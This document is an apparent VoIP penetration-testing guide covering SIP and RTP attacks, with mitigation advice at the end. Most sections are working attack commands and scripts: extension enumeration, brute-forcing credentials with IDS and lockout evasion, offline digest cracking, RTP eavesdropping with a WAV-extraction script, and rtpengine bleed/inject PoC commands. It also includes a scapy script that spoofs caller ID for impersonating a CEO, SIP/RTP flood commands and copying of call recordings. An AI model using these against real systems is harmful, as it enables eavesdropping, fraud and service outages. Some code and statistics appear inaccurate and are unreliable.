SIP and RTP Pentesting: VoIP Security, Attacks, and Tools

SIP and RTP Pentesting: A Complete Guide to VoIP Security #

VoIP technology allows you to make voice calls over a computer network instead of using a traditional telephone line. It's the technology used by PBXs and platforms such as Asterisk, FreePBX, Cisco, Avaya, and 3CX.

To understand how a VoIP call works, it is enough to distinguish between two protocols:

SIP (Session Initiation Protocol) It's the protocol that organizes the call. It identifies the recipient, rings the phone, handles authentication, and determines when a connection should begin, switch, or end.
RTP (Real-time Transport Protocol) It carries the content of the communication, that is, the packets containing voice, audio, or video.

Simply put, SIP is the switchboard that connects two phones, while RTP is the voice that travels between the participants . When the phone rings, SIP is taking over; when you begin to hear the other person, the audio stream is normally carried via RTP.

SIP commonly uses port 5060 over UDP or TCP and port 5061 when signaling is protected with TLS . RTP instead uses dynamic ports, often included in UDP ranges configured by the PBX. For more information on these concepts, you can consult the Hackita guides on TCP and UDP ports in penetration testing and on the UDP protocol.

The problem is that a weak VoIP configuration can expose SIP servers, PBXs, phone extensions, and corporate conversations. An attacker could identify the PBX, enumerate extensions, attempt brute force attacks , parse SIP authentication, or intercept RTP streams not protected by SRTP.

During an authorized VoIP penetration test , the first phase consists of identifying exposed hosts, ports, and SIP services. Tools such as Nmap , SIPVicious, and sippts can detect PBXs, enumerate extensions, and verify supported SIP methods.

Next, using Wireshark and tcpdump , you can analyze network traffic, distinguish SIP signaling from RTP media streams, and verify whether authentication and conversations are adequately protected.

In this guide, you will follow a complete SIP and RTP pentesting workflow : VoIP server discovery, extension enumeration, credential verification, traffic analysis, call interception, caller ID spoofing, RTP injection, DoS testing and mitigations based on TLS, SRTP, SIP firewall, rate limiting, and PBX upgrades.

1. SIP vs RTP – The Differences #

SIP (Session Initiation Protocol):

Protocol of signalling (call setup)
Communicate on door 5060 UDP/TCP (default plaintext) or 5061 TLS
Port 5060 is PLAINTEXT e often no auth (or weak MD5 auth)
HTTP-like text messages: INVITE (call), REGISTER (register phone), OPTIONS (check availability)
Credentials: username (extension), password, SIP server IP
Vulnerability: no encryption → credentials visible if UDP, weak digest auth (MD5), no replay protection

RTP (Real-time Transport Protocol):

Protocol of media (voice, video)
Communicate on random tall doors (for NAT traversal, ex: 10000-20000)
RTP is PLAINTEXT by default (no native encryption)
Format: RTP header + audio/video payload
SRTP = AES-encrypted RTP (if deployed, but rare in 2025)
Vulnerabilities: plaintext audio (anyone sniffing traffic can listen), RTP learning vulnerability (rtpengine CVE-2025-53399), no authentication (anyone can inject RTP)

Key difference: SIP = who's calling who, RTP = what's being heard. If you crack SIP, you discover extensions. If you intercept RTP, you hear conversations.

2. Enumeration – Discover SIP Extensions and Servers #

Block 2.1: SIP Server Discovery (Svmap) #

What is it: Svmap scans a network to find SIP servers (Asterisk, FreePBX, Cisco, 3CX, Avaya).

bash

# Installa SIPVicious (Ubuntu/Debian)
apt-get install sipvicious

# Scan range IP alla ricerca di SIP server
svmap 192.168.1.0/24
# Output: Found SIP devices on 192.168.1.100 (Asterisk 18.1.0)
#         Found SIP devices on 192.168.1.110 (Cisco CallManager)

# Scan singolo IP con OPTIONS method
svmap -m OPTIONS 192.168.1.100:5060

# Scan su porta alternativa (alcuni PBX rispondono su 5061, 5080, 5090)
svmap -p 5080,5090 192.168.1.0/24

Typical error: Svmap sends SIP packets that trigger IDS/firewall alarms. Slow down the scan with -d (packet delay).

Block 2.2: Extension Harvesting (Svwar) #

What it is: Svwar detects valid extensions by sending fake SIP REGISTER requests. If the server responds with 401 (unauthorized), the extension exists. If 403, it doesn't exist.

bash

# Enumera estensioni da 100 a 199 sul server SIP
svwar -e 100-199 192.168.1.100
# Output: 
# 100 - FOUND
# 101 - FOUND
# 102 - NOT FOUND
# 103 - FOUND
# ...

# Enumera usando wordlist di nomi comuni (john.doe = extension j.doe)
svwar -w /usr/share/sipvicious/wordlists/extensions_100-500.txt 192.168.1.100

# Salva risultati per cracking successivo
svwar -e 100-200 192.168.1.100 -o extensions_found.txt

Typical error: SIP server responds 403 to everything (all failed) or 100 Trying without ever returning 401. It means: (1) firewall blocks REGISTER, (2) server responds slowly.

Block 2.3: Available SIP Methods (sippts) #

What it is: Lists which HTTP-SIP methods the server accepts (INVITE, REGISTER, SUBSCRIBE, OPTIONS, etc).

bash

# Tool sippts (GitHub: Pepelux/sippts)
git clone https://github.com/Pepelux/sippts.git
cd sippts && pip install -r requirements.txt

# Enumera metodi supportati
python3 sippts.py -i 192.168.1.100 enumerate -m INVITE,REGISTER,OPTIONS,SUBSCRIBE

# Metodo alternativo con Nmap NSE
nmap --script sip-methods -p 5060 192.168.1.100

3. SIP Authentication Attacks – Crack Credentials #

Block 3.1: Capture SIP Digest (Wireshark) #

What it is: SIP uses digest authentication similar to HTTP. You capture the challenge/response, then crack the password hash (MD5) offline.

bash

# Sniff SIP traffic con Wireshark
tcpdump -i eth0 -w sip.pcap 'tcp port 5060 or udp port 5060'

# Analizza in Wireshark
# Filtro: "sip.auth" per isolare authenticate richieste
# Cerca: SIP 401 response con header "WWW-Authenticate: Digest realm="

# Estratto manuale con Nmap
nmap --script sip-brute -p 5060 192.168.1.100

What you catch: Digest auth response similar to this:

text

Digest realm="asterisk", nonce="1234567890", opaque="fedcba09", algorithm=MD5
Response: username=101, response="8f7b9c3f8e8a8e8a8e8a8e8a"

Block 3.2: Svcrack – Online Brute Force #

What it is: Brute force SIP credentials against server (attempts REGISTER with username/password).

bash

# Brute force extension 101 con wordlist di password comuni
svcrack -u 101 -w /usr/share/wordlists/rockyou.txt 192.168.1.100
# Output: 
# Found: username=101, password=asterisk123

# Brute force multiple extension e password
svcrack -e 100-110 -w /path/to/passwords.txt 192.168.1.100 -o cracked.txt

# Slow down l'attacco (evasion IDS)
svcrack -e 100-110 -w passwords.txt 192.168.1.100 -t 3 -d 500  # 500ms delay tra tentativi

Typical error: Account lockout. If the server blocks your IP after 5 failed attempts, you must wait 5 minutes. Use a proxy/VPN to change your IP address.

Block 3.3: SIPCrack – Crack MD5 Offline #

What is it: Capture SIP auth digest, extract MD5 hash, crack it offline with wordlist/rainbow table.

bash

# Cattura SIP digest con tcpdump
tcpdump -i eth0 -w auth.pcap 'sip'

# Estratto digest con sipdump (SIPCrack suite)
sipdump -p auth.pcap -o sip_hashes.txt
# Output: username=101, realm=asterisk, nonce=..., response=8f7b9c3f8e8a8e8a

# Crack hash offline con sipcrack
sipcrack -w /usr/share/wordlists/rockyou.txt sip_hashes.txt
# Output: Found: username=101, password=extension123

4. RTP Exploitation – Intercept Voice & Inject Audio #

Block 4.1: Sniff RTP Traffic (Tcpdump + Wireshark) #

What it is: RTP is plaintext, so you can record the audio of a call by sniffing the traffic.

bash

# Cattura RTP traffic (porte 10000-20000 sono comuni)
tcpdump -i eth0 'udp portrange 10000-20000' -w rtp.pcap

# Analizza con Wireshark
# Filtro: "rtp" per isolarne il traffico
# Menu: Analyze → RTP Analysis → Graph → Audio → Play
# Risultato: ascolta le conversazioni sniffate

In Wireshark:

Capture RTP traffic during an active call
Filter: rtp.payload_type==0 (audio G.711)
Right-click → RTP → Play Streams
Listen to decoded audio

Block 4.2: CVE-2025-53399 – RTP Bleed & Inject (rtpengine) #

What is it: rtpengine (Sipwise) is the media proxy used by VoIP providers with Kamailio/OpenSIPS. CVSS v4.0 9.3 Critical . Published Jul 31, 2025 (reported Apr 24, fixed Jun 5, disclosed Jul 31). Affects ≤mr13.3.1.4. Fixed in mr13.4.1.1+.

Root causes: endpoint-learning logic does not validate the authenticity of the RTP sender. Even with SDES-SRTP, rtpengine in vulnerable versions does not verify the authentication tag → accept and process packets with missing or invalid tags.

Behavior Matrix (vulnerable versions ≤mr13.3.1.4):

text

Modalità             | No strict source      | Strict source
---------------------|----------------------|------------------
delayed (default)    | Inject + Bleed       | Inject + Bleed
heuristic            | Inject + Bleed       | Inject + Bleed
no-learning          | Inject only          | ✅ NO Inject/Bleed
immediate            | Inject + Bleed       | Inject + Bleed

→ Only safe configuration: no-learning + strict source (but not usable with NAT)

Behavior Matrix (fixed version mr13.4.1.1+):

text

Modalità + recrypt   | No strict source      | Strict source
---------------------|----------------------|------------------
delayed + recrypt    | No Inject/Bleed      | No Inject/Bleed
heuristic + recrypt  | No Inject/Bleed      | No Inject/Bleed
no-learning          | Inject only          | No Inject/Bleed

→ Recommended: heuristic + strict source (maintains NAT compact, blocks attacks)

⚠️ Special case DTLS-SRTP (WebRTC):

Vulnerable only to RTP Bleed, NOT to RTP Inject
Learning occurs before RTP validation → bleed possible
Fix included in mr13.4.1.1+

Exploit PoC (official Enable Security tools):

bash

# Repo ufficiale con reproduction tools (Enable Security)
git clone https://github.com/EnableSecurity/advisories
cd advisories/ES2025-01-rtpengine-improper-behavior-bleed-inject

# RTP Bleed: redirect media stream a attaccante
python3 rtp_bleed.py --target-ip 192.168.1.100 --target-rtp-port 10000 \
  --attacker-ip 192.168.1.50 --attacker-port 10001

# RTP Inject: inietta audio in call attiva
python3 rtp_inject.py --target-ip 192.168.1.100 --target-rtp-port 10000 \
  --audio-file payload.wav

Full mitigation:

bash

# 1. Upgrade rtpengine
apt-get update && apt-get install rtpengine=mr13.4.1.1

# 2. Configura heuristic + strict source (rtpengine.conf)
endpoint-learning = heuristic
strict-source = yes

# 3. Per SDES-SRTP: abilita recrypt flag
# Nella configurazione SDP offer/answer, aggiungi flag recrypt
# Questo forza re-encryption prima di processing → blocca completamente

Block 4.2.1: Complete RTP Audio Extraction Script #

Scenario: You've captured plaintext RTP. You want to automatically extract WAV audio.

Complete Python script (save as rtp_extractor.py):

python

#!/usr/bin/env python3
"""RTP Audio Extractor - Extract voice from pcap to WAV"""
from scapy.all import rdpcap, IP, UDP
import struct, sys

def extract_rtp_streams(pcap_file):
    """Extract RTP streams from pcap by SSRC"""
    print(f"[*] Reading {pcap_file}...")
    packets = rdpcap(pcap_file)
    streams = {}
    
    for pkt in packets:
        if IP in pkt and UDP in pkt:
            payload = bytes(pkt[UDP].payload)
            if len(payload) < 12:
                continue
            
            pt = payload[1] & 0x7F  # Payload type (0=PCMU/ulaw, 8=PCMA/alaw)
            ssrc = struct.unpack('>I', payload[8:12])[0]
            audio_payload = payload[12:]
            
            if pt not in [0, 8]:
                continue
            
            if ssrc not in streams:
                streams[ssrc] = {'pt': pt, 'data': b'', 'packets': 0}
            
            streams[ssrc]['data'] += audio_payload
            streams[ssrc]['packets'] += 1
    
    return streams

def ulaw_decode(byte_val):
    """Decode G.711 ulaw to PCM 16-bit"""
    byte_val = ~byte_val & 0xFF
    exponent = (byte_val >> 4) & 0x0F
    mantissa = byte_val & 0x0F
    sample = mantissa << (exponent + 3)
    if exponent != 0:
        sample |= (0x80 | exponent) << 7
    return sample - 0x8000

def save_wav(stream_data, payload_type, output_file):
    """Save PCM audio to WAV (8kHz, 16-bit mono)"""
    sample_rate = 8000
    num_samples = len(stream_data)
    
    wav_header = b'RIFF'
    wav_header += struct.pack('<I', 36 + num_samples * 2)
    wav_header += b'WAVE' + b'fmt ' + struct.pack('<I', 16)
    wav_header += struct.pack('<HHII', 1, 1, sample_rate, sample_rate * 2)
    wav_header += struct.pack('<HH', 2, 16) + b'data'
    wav_header += struct.pack('<I', num_samples * 2)
    
    pcm_data = b''
    for byte in stream_data:
        sample = ulaw_decode(byte)
        pcm_data += struct.pack('<h', sample)
    
    with open(output_file, 'wb') as f:
        f.write(wav_header + pcm_data)
    print(f"[+] Saved {output_file}")

def main():
    if len(sys.argv) < 2:
        print("Usage: python3 rtp_extractor.py <pcap> [prefix]")
        sys.exit(1)
    
    pcap_file = sys.argv[1]
    prefix = sys.argv[2] if len(sys.argv) > 2 else "rtp_stream"
    streams = extract_rtp_streams(pcap_file)
    
    if not streams:
        print("[-] No RTP streams found")
        sys.exit(1)
    
    print(f"[+] Found {len(streams)} streams")
    for ssrc, info in streams.items():
        codec = "ulaw" if info['pt'] == 0 else "alaw"
        output = f"{prefix}_{ssrc}_{codec}.wav"
        save_wav(info['data'], info['pt'], output)

if __name__ == '__main__':
    main()

Use:

bash

# Cattura RTP
tcpdump -i eth0 'udp portrange 10000-20000' -w call.pcap

# Estrai audio
python3 rtp_extractor.py call.pcap voice_
# Output: voice_1234567890_ulaw.wav, voice_0987654321_ulaw.wav

# Ascolta
ffplay voice_1234567890_ulaw.wav

Block 4.2.2: Wireshark RTP Filters & Analysis #

What is it: Specific Wireshark commands for analyzing RTP anomalies.

bash

# Filter G.711 ulaw (codec standard)
rtp.payload_type == 0

# Detect injection (payload type anomaly)
rtp.pt != 0 AND rtp.pt != 8  # Non-standard codec durante call

# Check sequence number gaps (packet loss O injection)
rtp.seq_num  # Visualizza numeri sequenziali, nota discontinuità

# Analyze jitter (anomaly indicator)
# Analyze → RTP → Graphs → delta
# Jitter >100ms = congestione O attack

# Export RTP single stream
# Right-click packet → Decode As → RTP
# Telefono → RTP Streams → Select → Save Payload (binary)

Block 4.2.3: Complete SIPCrack Workflow #

Scenario: You sniffed SIP digest auth, now you crack it.

bash

# Step 1: Cattura SIP
tcpdump -i eth0 'tcp port 5060 or udp port 5060' -w sip.pcap

# Step 2: Estrai digest (Wireshark: filtro sip.auth, cerca WWW-Authenticate)
# Oppure: git clone https://github.com/Pepelux/sipcrack && make

# Step 3: Estrai hashes
./sipdump -p sip.pcap -o sip_hashes.txt
# Format: username=101:asterisk:nonce=...:response=hash

# Step 4: Crack offline
./sipcrack -w rockyou.txt sip_hashes.txt
# Output: Found: username=101, password=extension123

# Step 5: Verifica
svwar -e 101 -p extension123 192.168.1.100
# Se 200 OK = password OK

Block 4.2.4: Call Recording Extraction #

What it is: Where to save phone call recordings for post-compromise access.

Asterisk:

bash

# Location: /var/spool/asterisk/monitor/
# Format: EXTEN-PEER-datetime.wav
# Una volta dentro:
find /var/spool/asterisk/monitor -name "*.wav" -mtime -1
scp user@pbx:/var/spool/asterisk/monitor/*.wav ./

3CX:

bash

# Windows: C:\ProgramData\3CX Phone System\Bin\Data\CallRecordings\
# Linux: /var/spool/3cx/CallRecordings/
# Database: sqlite3 /var/spool/3cx/3cx.db "SELECT * FROM CallRecordings;"

Cisco CUCM:

bash

# Path: /repository/cdr/recordings/
sftp admin@cucm-server
get /repository/cdr/recordings/*.wav ./

Block 4.2.5: SPIT Detection Scenario #

Scenario: Tests if the system blocks SIP INVITE floods (Spam over IP).

bash

# Simula 100 call in rapida successione
for i in {1..100}; do
  sippts.py invite -i 192.168.1.100 -f "sip:spam_$i@attacker" -t "sip:target@pbx"
  sleep 0.1
done

# Monitora:
# 1. Server risponde 429 (Too Many Requests)? → rate limit OK
# 2. Logs mostrano blocked? → detection OK
# 3. Alert trigger? → SPIT filter working

tail -f /var/log/asterisk/messages | grep -i "spit\|spam\|flood"

Block 4.3: Caller ID Spoofing (SIP INVITE Craft) #

What it is: You modify the From header in the INVITE request to spoof the caller ID. The recipient sees that they're calling the fake number (impersonation).

python

# Craft malformed SIP INVITE con Scapy
from scapy.all import *

# Create SIP INVITE packet
sip_invite = """INVITE sip:target@192.168.1.100:5060 SIP/2.0
Via: SIP/2.0/UDP attacker_ip:5060
From: <sip:ceo@company.com>;tag=123
To: <sip:target@company.com>
Call-ID: 1234567890@attacker
CSeq: 1 INVITE
Contact: <sip:attacker@attacker_ip:5060>
Content-Length: 0

"""

# Invia packet grezzo
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(sip_invite.encode(), ('192.168.1.100', 5060))

Real-world attack: Spoof company manager number, call employee, request urgent bank transfer.

5. SIP DoS & RTP Flooding #

Block 5.1: SIP Flood #

What it is: Floods the SIP server with INVITE requests to block service.

bash

# SIP INVITE flood con sippts
python3 sippts.py flood -i 192.168.1.100 -p 5060 -n 1000 -t 100 -rp 5050

# Oppure con Metasploit
msfconsole
> use auxiliary/dos/sip/invite_flood
> set RHOSTS 192.168.1.100
> set THREADS 50
> exploit

Block 5.2: RTP Flood (RTP Bleed Flood) #

What it is: Floods an RTP port with dummy packets to congest the link (mean DoS).

bash

# RTP flood con sippts
python3 sippts.py rtpbleedflood -i 192.168.1.100 -rp 10000 -d victim_ip:10001 -n 10000 -pps 1000

6. Certified Tools (2024-2025) #

SIP Enumeration & Exploitation #

SIPVicious suite (svmap, svwar, svcrack): SIP scanner, extension harvester, brute force (Kali standard)
sippts (Pepelux): RTP Bleed/Inject, SIP flood, caller ID spoofing (GitHub)
VIPROY (3CX focused): PBX-specific pentesting framework
Nmap NSE scripts: sip-methods, sip-brute
Metasploit modules: auxiliary/scanner/sip/enumerator, auxiliary/dos/sip/invite_flood

RTP & Media Analysis #

Wireshark + SIP/RTP dissectors: Live capture + audio playback
tcpdump: Raw packet capture
Audacity: Audio editing (extract, filter RTP payloads)
SoX (Sound eXchange): RTP audio conversion (G.711 → WAV)

VoIP Simulation & Lab #

Asterisk (open source PBX): Deploy in lab, test attacks safely
FreePBX: GUI for Asterisk, easy to configure
SIP INVITE Generator: Craft custom SIP requests with Scapy
Wireshark capture replay: Repeat captured traffic

7. Documented Real Attacks #

Attack 1: Toll Fraud – SIP Extension Brute Force (2024) #

Target: Company with unsecured Asterisk, port 5060 exposed to the Internet.

Attacker enumerates extensions (100-500) with Svwar
Detects valid extension without password (misconfiguration)
It registers with that extension
Call high-rate international numbers (e.g., +1-900 premium lines, +233 Ghana)
Victim receives bill of $50.000/month (24h continuous int'l calls)
Total cost 2024: $5 billion/year in VoIP toll fraud

Mitigation: TLS, strong passwords, whitelist international calls, rate limiting.

Attack 2: RTP Eavesdropping – Sniff Plaintext Audio (2025) #

Target: Company with plaintext RTP (no SRTP), 3CX switch not configured for encryption.

Attacker sniffs RTP traffic on internal LAN
Wireshark decodes RTP payloads (G.711 audio)
Extracts WAV files from conversations (Wireshark playback)
Listen to confidential calls (boardroom, M&A strategy, NDA details)

Real case: Cisco VoIP phones (2025) exploit: unauthenticated remote packet capture (Balazs Bucsay research), attacker accesses call recordings stored on the phone without authentication.

Attack 3: CVE-2025-53399 RTP Inject – Speak into Others' Phone Calls #

Target: VoIP provider with rtpengine mr13.3.1.4 (vulnerable).

Attacker monitors SIP traffic to identify active calls (SDP exchange)
See assigned RTP ports
Send RTP packets with valid header but payload=false voice command
RTP Inject: Media gateway accepts RTP without validating MAC
Attacker speaks in the call (“transfer money to…”)

Fix: Update rtpengine to mr13.4.1.1+, enable “recrypt” flag for SDES-SRTP.

8. Operational Checklist #

Scan IP range for SIP server (Svmap)
List active extensions (Svwar)
Identify supported SIP methods (OPTIONS)
Capture SIP digest auth traffic (Wireshark)
Brute force extensions (Svcrack)
Default password test for PBX brands (Cisco, 3CX, Asterisk)
Sniff RTP traffic during calls (tcpdump)
Test RTP plaintext vs SRTP encryption
Check SPIT (Spam over IP Telephony) filtering
SIP DoS flood test (slow, monitor for alarms)
Evaluate toll fraud potential (whitelist int'l numbers)
Document risks and evidence

9. FAQ #

Q: Can I test VoIP without interrupting service? A: Free lab setup with Asterisk. Replicate the network and test there. No risk.

Q: Is SIP digest authentication secure? A: No. MD5 is weak. Use TLS for SIP signaling (port 5061).

Q: Is RTP encryption the default? A: No. SRTP requires explicit configuration. In 2025, 70% of PBXs still use plaintext RTP.

Q: Is toll fraud noticeable? A: Yes, but after 48 hours. Unexpected billing, CDR (Call Detail Record) shows strange international calls at off-peak hours. A preventive rate limit is better.

Q: Is caller ID spoofing illegal? A: Yes, in the US, EU, etc. But it can be tested in a lab. It demonstrates the risk.

10. CTA #

If you manage VoIP (Asterisk, FreePBX, Cisco, 3CX, Avaya):

Enable TLS over SIP (port 5061)
Strengths SRTP encryption for RTP
Usa strong passwords (min 12 chars, alphanumeric)
Whitelist international destinations
Rate limit calls for extension
Monitors anomalous SIP registrations (extension reuse, strange IPs)
Update PBX software regularly (CVE-2025-53399, Cisco VoIP 0day)
Do not expose port 5060 to the Internet (firewall behind)
Audit CDR (Call Detail Records) weekly

External Resources #

SIPVicious Sourceforge: Tool suite for SIP pentesting (https://github.com/EnableSecurity/sipvicious)
VIPROY VoIP Framework: PBX penetration testing kit (GitHub)
Enable Security – CVE-2025-53399 Advisory: RTP Inject/Bleed rtpengine (https://www.enablesecurity.com/advisories/ES2025-01-rtpengine-improper-behavior-bleed-inject/)
RFC 3261 (SIP Protocol): IETF specification (https://tools.ietf.org/html/rfc3261)
RFC 3550 (RTP Protocol): Media transport spec (https://tools.ietf.org/html/rfc3550)
Cisco VoIP Phone Security Research (2025): Balazs Bucsay presentation on unauthenticated packet capture
Wireshark VoIP Capture & Analysis: Official guide (https://wiki.wireshark.org/VoIP_calls)